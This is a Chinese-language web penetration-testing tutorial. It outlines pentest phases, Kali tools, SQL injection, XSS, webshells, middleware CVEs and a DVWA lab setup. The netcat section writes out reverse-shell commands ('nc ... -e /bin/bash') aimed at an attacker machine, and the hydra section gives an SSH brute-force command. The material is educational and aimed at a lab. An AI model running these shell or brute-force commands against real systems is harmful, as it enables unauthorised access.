一、Web架构基础

1.1 现代Web架构组成

一个典型的Web系统采用三层架构,数据从客户端流向服务端,最终由数据库存储和处理。渗透测试的本质是:将攻击者视为一个特殊的客户端,向系统发送恶意请求以发现安全缺陷。

三层架构数据流示意图:

客户端 → Web服务器 → 应用逻辑 → 数据库

在典型的Web应用中,客户端、服务端与数据库各司其职,共同构成一个完整的应用体系。

1.客户端作为用户交互的界面,通常以浏览器或移动端APP的形式存在,负责发起请求与展示页面内容。渗透测试时,这一层常关注Cookie窃取、跨站脚本攻击(XSS)及跨站请求伪造(CSRF)等客户端漏洞,同时也需注意API可能存在的滥用风险。

2.服务端扮演着业务逻辑处理的核心角色,常见的实现技术包括Apache、Nginx、Tomcat或IIS等中间件与服务器。它接收客户端请求,执行业务流程,并与数据库进行通信。在安全测试中,服务端往往是重点检查对象,常涉及配置错误、中间件自身漏洞以及应用逻辑缺陷等方面的风险。

3.数据库负责数据的存储与查询,常用的技术有MySQL、PostgreSQL等关系型数据库,或Redis、MongoDB等非关系型数据库。由于其直接管理敏感数据,数据库的安全至关重要。渗透测试时,测试者会着重检查是否存在SQL注入、NoSQL注入等注入类漏洞,以及因权限配置不当导致的未授权访问等问题。

1.2 动态网站工作流程

用户通过URL发起请求 → 服务器接收参数 → 动态构造SQL语句 → 查询数据库 → 处理结果并返回HTML页面。

1.3 协议与安全基础

   HTTP/HTTPS协议详解

     HTTP 超文本传输协议

HTTP(超文本传输协议)是一种用于在万维网上传输超文本的应用层协议。它是互联网上应用最广泛的网络协议之一,主要用于客户端(如浏览器)与服务器之间的通信。

1.无状态:HTTP 协议本身不保存之前的请求或响应信息。每一次请求都是独立的。不过可以通过 Cookie、Session 等机制在应用层面实现“有状态”的交互。

2.基于请求-响应模型:客户端发送一个请求(Request)到服务器,服务器处理后返回一个响应(Response)。

3.使用 TCP 作为传输层协议:HTTP 默认使用 TCP(通常端口为 80),确保数据可靠传输。

4.支持多种媒体类型:通过 MIME 类型(如 text/html、application/json、image/png 等)支持传输各种格式的数据。

5.可扩展性:支持自定义头部字段(Headers)、方法(Methods)和状态码(Status Codes)。

HTTP 协议本身既不加密(数据明文传输,易被窃听)又无状态(服务器无法识别用户连续请求),需依赖 HTTPS 加密保障安全、借助 Cookie/Session 等机制模拟“记忆”以维持用户会话。

    HTTPS 超文本传输安全协议

HTTPS(超文本传输安全协议)是在 HTTP 协议基础上加入加密层的安全通信协议,用于在客户端(如浏览器)和服务器之间安全地传输数据。

本质:HTTP 外面套了一层 SSL/TLS 加密壳,专治 HTTP 裸奔的毛病。

解决三大问题:防窃听(加密传输)、防篡改(确保传输过程中数据未被修改)、防冒充(身份认证)。

工作原理:HTTPS 基于 TCP 连接(默认使用 443 端口),在应用层的 HTTP 与传输层的 TCP 之间加入 SSL/TLS 加密层。通信开始前,客户端与服务器先完成 TLS 握手:验证服务器身份(通过数字证书)、协商双方支持的加密算法,并生成一个临时的会话密钥,用于后续高效、安全的对称加密通信。


二、渗透测试流程与方法

2.1 什么是渗透测试?

渗透测试是一种通过模拟攻击者的技术与方法,以挫败目标系统的安全控制措施并取得访问控制权为目的的安全测试方法。

渗透测试的过程并非简单地运行一些扫描器和自动化工具,而是结合系统和人的漏洞进行深入挖掘的一种系统性的测试方法。

2.2 主要阶段

  1. 前期交互阶段:确定测试范围、获取授权、签署协议(周期,技术手段和工具以及其他的技术手段)

  2. 情报搜集阶段:收集目标信息、识别攻击面(域名,IP,邮箱,防御措施)

  3. 漏洞分析与利用阶段:识别漏洞并尝试利用

  4. 渗透攻击阶段:获取系统权限、横向移动

  5. 后渗透测试阶段:权限维持、数据窃取、清理痕迹

2.3 测试类型

  1. 白盒测试:提供系统源码或目标详细资料
  2. 黑盒测试:未提供测试目标或者相关系统的资料,例如:源代码等信息。
  3. 灰盒测试:是白盒测试和黑盒测试基本类型的组合。

2.4 工具链与框架

  • 各阶段常用工具

    • 信息收集:Nmap、Shodan、FOFA、Whois、Amass

    • 漏洞扫描:AWVS、Nessus、Xray、Goby、OpenVAS

    • 渗透利用:Metasploit、Burp Suite、SQLMap、Cobalt Strike

  • 攻击框架应用

    • MITRE ATT&CK框架在实际测试中的应用

    • 红队/蓝队/紫队测试的区别与协同

2.5 初步认识Kali Linux基础工具

Kali Linux是渗透测试的标准平台,内置了数百种专业工具。掌握以下六个核心工具,可覆盖从信息收集到初始攻击的基础流程。

2.5.1netcat

nc被称为网络瑞士军刀,功能强大且轻量,常用于网络调试、端口扫描、数据传输、获取shell等。可通过nc -h指令查看使用方法:

列:

攻击机:nc -lvp 8888   开启一个8888的端口的监听并输出详情信息

目标机: nc 192.168.220.136 8888     ip地址为攻击机地址

连接成功,可通过分别在攻击机和目标机指令后加指令<,>符号保存连接结果到指定文件。

nc -lvp 8888 -e /bin/bash 将终端传输给连接端执行

nc 192.168.220.136 8888-e /bin/bash 连接端主动执行发送端的终端

    2.5.2 nmap(网络映射器)

nmap(Network Mapper)是网络扫描和安全审计的行业标准工具,功能远强于 Netcat,被誉为"网络扫描之王"。可用于主机发现、端口扫描、服务识别、漏洞探测。

常见的参数功能:

参数

功能

-sS

发送SYN 半开扫描(默认,需 root)

-sT

TCP 连接扫描

-sU

UDP 扫描

-sV

探测服务版本

-O

操作系统探测扫描

-A

全面扫描(-sV + -O + 脚本 + 路由)

-Pn

跳过主机发现,直接扫描

-T<0-5>

扫描速度(0=最慢/隐蔽,5=最快)

-v/-vv

详细/非常详细输出

--script

使用 NSE 脚本

-sn

只进行主机发现,不进行端口扫描

常见的扫描方式:

扫描单个目标 nmap 192.168.220.136 

扫描多个目标 nmap 192.168.1.1 192.168.220.136

扫描整个网段 nmap 192.168.220.136/24

扫描指定端口 nmap -p 80,443,22,3389 192.168.220.136 

扫描所有端口(1-65535) nmap -p- 192.168.220.136

快速扫描常用端口 nmap -F 192.168.220.136

 服务与版本探测 nmap -sV -sC 目标IP  

 漏洞脚本扫描nmap --script=vuln 目标IP

列:nmap 192.168.220.136

nmap -T4 -sn 192.168.220.136  -T4代表的是扫描速度

常见的6种 nmap端口状态及其含义

open:开放的,表示应用程序正在监听该端口的连接,外部可以访问

filtered:被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问

closed:关闭的,表示目标主机未开启该端口

unfiltered:未被过滤的,表示nmap无法确定端口所处状态,需进一步探测

open/filtered:开放的或被过滤的,nmap不能识别

closed/filtered:关闭的或被过滤的,nmap不能识别

2.5.3hydra(密码爆破神器)

Hydra(九头蛇)是世界上最快的网络登录破解工具,支持多种协议的暴力破解,是渗透测试和红队评估的常用工具。

1.支持多种协议:SSH、FTP、Telnet、SMTP、POP3、IMAP、HTTP/HTTPS、RDP、SMB、MySQL、PostgreSQL、Redis、MongoDB、LDAP、VNC、Rsync、SNMP、SIP 等。

2.常用参数说明:

-l:单个用户名

-L:用户名字典文件

-p:单个密码

-P:密码字典文件

-ensr:尝试空密码(n)、用户名作为密码(s)、反向用户名(r)

-t:并行任务数(线程)

-w:超时等待时间(秒)

-v/-V:显示详细过程/显示每次尝试

-f:找到第一个有效凭证后立即停止

-o:将结果输出到文件

-s:指定非默认端口

3.基础语法结构:

hydra -l 用户名 -p 密码 目标 协议

hydra -L 用户名字典 -P 密码字典 目标 协议

列:hydra -l root -P /home/kali/Desktop/ssh-passwd.txt ssh://192.168.220.136

可通过hydra -h指令查看使用方法

4.爆破方法一般有SSH 爆破、FTP 爆破、 HTTP/HTTPS 表单爆破、 MySQL 数据库爆破、RDP 远程桌面爆破、SMB 共享爆破。

2.5.4crunch(字典生成器)

Crunch 是 Kali Linux 内置的密码字典生成工具,可以按照指定规则生成自定义字典,用于暴力破解、渗透测试等场景。

  1. 基本语法结构crunch 最小长度 最大长度 [字符集] [选项]

列子:crunch 8 16 > 1.txt  

2.常用参数使用方法:

参数

功能

-o 文件

输出到文件

-f 文件 名称

使用字符集定义文件

-t 模式

指定输出模式

-s 字符串

从指定字符串开始

-c 数字

限制生成行数

-b 大小

按大小分割文件(kb/mb/gb)

-z 格式

压缩输出

-q 文件

读取字符串文件作为种子

-u

禁用打印百分比(加快速度)

3.特殊字符使用,-t后面加表格中的符号

符号

含义

@

小写字母

,

大写字母

%

数字

^

特殊符号

2.5.5Cewl(网站关键词提取器)

Cewl(Custom Word List Generator)是一款用于生成自定义密码字典的工具,常用于渗透测试和安全评估。常用于爬取目标网站并提取单词、基于网站内容生成针对性字典、支持指定爬取深度和链接数量。

一些参数使用

类别

参数

说明

基础

-h, --help

显示帮助信息

-v, --verbose

详细输出模式

爬取控制

-d <深度>

设置爬取深度(默认2)

-m <长度>

最小单词长度(默认3)

-o <长度>

最大单词长度

-c <数量>

最小出现次数

--offsite

允许爬取外部链接

--exclude <文件>

排除特定URL模式

--allowed <文件>

仅允许特定URL模式

输出

-w <文件>

将结果写入文件

--lowercase

全部转为小写

--with-numbers

追加数字变体

--convert-umlauts

转换德语变音符号

--no-words

仅统计,不输出单词

认证

-a, --auth_type

认证类型(digest/basic)

--auth_user <用户>

认证用户名

--auth_pass <密码>

认证密码

代理

--proxy_host <主机>

代理服务器地址

--proxy_port <端口>

代理端口

列:Cewl https://www.taobao.com/

以上工具使用可通过kali官网查询,也可以通过官网学习更多工具使用方法。官网地址为:https://www.kali.org/tools 


三、Web渗透测试流程

3.1 信息收集

  • 基础信息:IP、网段、域名、端口

  • 系统信息:操作系统版本

  • 应用信息:Web应用、邮件服务等

  • 版本信息:CMS、框架、组件版本

3.2 深度信息收集技术

  • 子域名枚举

    • 字典爆破:subfinder、ksubdomain

    • 证书透明度:crt.sh、censys

    • DNS解析:dnsrecon、dnsdumpster

  • 端口服务识别

    • 服务指纹识别:nmap -sV -sC

    • 漏洞关联:Searchsploit、Exploit-DB

3.3 漏洞探测

  • Web服务器漏洞(配置错误、版本漏洞)

  • Web应用漏洞(注入、XSS、文件上传等)

  • 其他端口服务漏洞(21/22/3389/6379等)

3.4 漏洞验证

  • 自动化验证:结合扫描工具结果

  • 手工验证

    • SQL注入验证:联合查询、报错注入、时间盲注

    • XSS验证:反射型、存储型、DOM型

  • 业务逻辑验证

    • 支付漏洞:金额篡改、重复支付

    • 验证码绕过:识别、重放、失效

3.5 报告撰写

  • 专业报告结构

    • 漏洞成因分析

    • 验证过程详细记录

    • 危害程度评估(CVSS评分)

    • 修复建议与优先级


四、社会工程学渗透测试

4.1信息收集

邮箱信息:官网、招聘平台、招标信息

人员信息:联系人、社交媒体账号

组织架构:部门划分、职权关系

4.2钓鱼技术深度

邮件伪造技术

邮件头伪造:SPF/DKIM/DMARC绕过

附件免杀:宏病毒、PDF漏洞利用

链接伪装:短链接、域名相似性

钓鱼平台工具

SEToolkit(SocialEngineerToolkit)

Gophish(企业级钓鱼平台)

KingPhisher(可视化钓鱼框架)

4.3防御与合规

企业防御策略

员工安全意识培训

邮件网关配置与过滤

多因素认证强制实施

法律与伦理

社工测试的授权要求

个人信息保护法规遵循


五、Webshell与数据库渗透

5.1 Webshell基础与进阶

  • 基础类型:PHP、JSP、ASP一句话木马

  • 管理工具:蚁剑、冰蝎、菜刀、哥斯拉

  • 免杀技术

    • 编码混淆:base64、rot13

    • 加密变形:AES、RSA加密

    • 图片马:利用图片EXIF信息

5.2 数据库渗透实战

  • MySQL深度利用

    • UDF提权:lib_mysqludf_sys

    • 日志写shell:general_log

    • 读取系统文件:LOAD_FILE()

  • MSSQL攻击技术

    • xp_cmdshell启用与利用

    • 差异备份GetShell

  • NoSQL数据库

    • Redis未授权访问利用

    • MongoDB注入与未授权

5.3 SQL注入进阶

  • 注入类型扩展

    • 盲注:布尔盲注、时间盲注

    • 堆叠注入、二次注入、宽字节注入

  • WAF绕过技术

    • 大小写混合、编码绕过

    • 注释符混淆、空格替代

    • 分块传输、协议层绕过


六、Web中间件与框架安全

6.1 中间件漏洞实战

  • Apache安全漏洞

    • 解析漏洞:test.php.jpg

    • 目录遍历:CVE-2021-41773

  • Nginx安全问题

    • 解析漏洞:CVE-2013-4547

    • 目录穿越:CVE-2017-7529

  • IIS漏洞利用

    • 短文件名漏洞

    • 解析漏洞:*.asp;.jpg

6.2 框架漏洞深度分析

  • Struts2系列漏洞

    • S2-045(CVE-2017-5638)

    • S2-059(CVE-2019-0230)

  • Spring安全风险

    • Spring Boot Actuator未授权

    • Spring Cloud Gateway RCE

  • ThinkPHP漏洞利用

    • 5.x RCE漏洞(多个版本)

    • 日志泄露与信息收集

6.3 识别与检测工具

  • 在线识别平台godeye.vip、whatweb

  • 浏览器插件:Wappalyzer

  • 命令行工具

    bash

    whatweb http://target.com
    nmap -sV --script=http-enum

七、漏洞环境搭建与靶场实践

7.1 本地环境搭建(PhpStudy + DVWA

7.1.1. 安装 phpStudy

  1. 下载路径:https://www.xp.cn/download.html

  1. 运行安装包,路径不要有中文或空格
  2. 安装完成后启动,点击主界面按钮启动 Apache 和 MySQL 服务

浏览器访问 http://127.0.0.1,看到欢迎页即表示环境正常

 7.1.2部署 DVWA 源码

1.下载 DVWA 压缩包并解压:https://github.com/digininja/DVWA/archive/master.zip

2.重命名文件夹为 dvwa(去除 -master 后缀,避免中文和特殊字符)

3.将文件夹复制到 phpStudy 的 WWW 根目录:phpStudy V8.1 路径:\phpstudy_pro\WWW

4.确保文件夹不嵌套:即 WWW\dvwa\index.php 而非 WWW\dvwa\dvwa\index.php 

1).进入 dvwa\config\ 目录:

2).将 config.inc.php.dist 文件的.dist去掉,重命名为 config.inc.php 

3).用记事本编辑该文件,修改以下配置(匹配 phpStudy 的 MySQL 设置):

密码修改为自己设置的root用户密码。

7.1.3创建数据库

点击创建数据库

数据库名称:dvwa

用户名:dvwa

7.1.4初始化数据库

1.浏览器访问 http://127.0.0.1/dvwa/setup.php 

2.页面下方点击 "Create / Reset Database" 按钮

等待几秒,成功后会自动跳转到登录页面

若出现不兼容情况:

可下载新版本数据库:点击软件管理,找到MySOL8.0.12

浏览器访问:http://127.0.0.1/phpMyAdmin/  phpMyAdmin为你下载的数据库名字

7.1.5登录与使用

默认账号:admin

默认密码:password 

调整难度:登录后点击左侧 DVWA Security,可选择 LowMediumHighImpossible 四个级别 ,初学者建议选择low


八、常见Web应用漏洞深度解析

8.1 注入类漏洞

  • SQL注入实战案例

    • 联合查询注入:获取数据、拖库

    • 报错注入:extractvalue、updatexml利用

    • 带外通道(OOB):DNSlog数据外带

  • 命令注入进阶

    • 绕过过滤:空格替代、命令分割

    • 无回显利用:时间盲注、DNS外带

8.2 跨站脚本(XSS)

  • XSS深度利用

    • Cookie窃取与会话劫持

    • 键盘记录与屏幕截图

    • 结合CSRF进行攻击链构建

  • 防御绕过技术

    • 事件处理器绕过:onerror、onload

    • 编码绕过:HTML实体、JavaScript编码

    • CSP绕过策略

8.3 文件相关漏洞

  • 文件上传进阶

    • 图片马制作与检测绕过

    • 解析漏洞利用(IIS、Nginx)

    • ZIP解压漏洞(Zip Slip)

  • 文件包含实战

    • LFI转RFI技巧

    • PHP伪协议利用:php://input、data://

    • 日志文件包含:/var/log/auth.log

8.4 业务逻辑漏洞

  • 权限绕过技术

    • IDOR(不安全的直接对象引用)

    • JWT令牌篡改

    • Cookie伪造与会话固定

  • 支付逻辑漏洞

    • 金额负数、小数溢出

    • 优惠券重复使用

    • 订单状态篡改

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐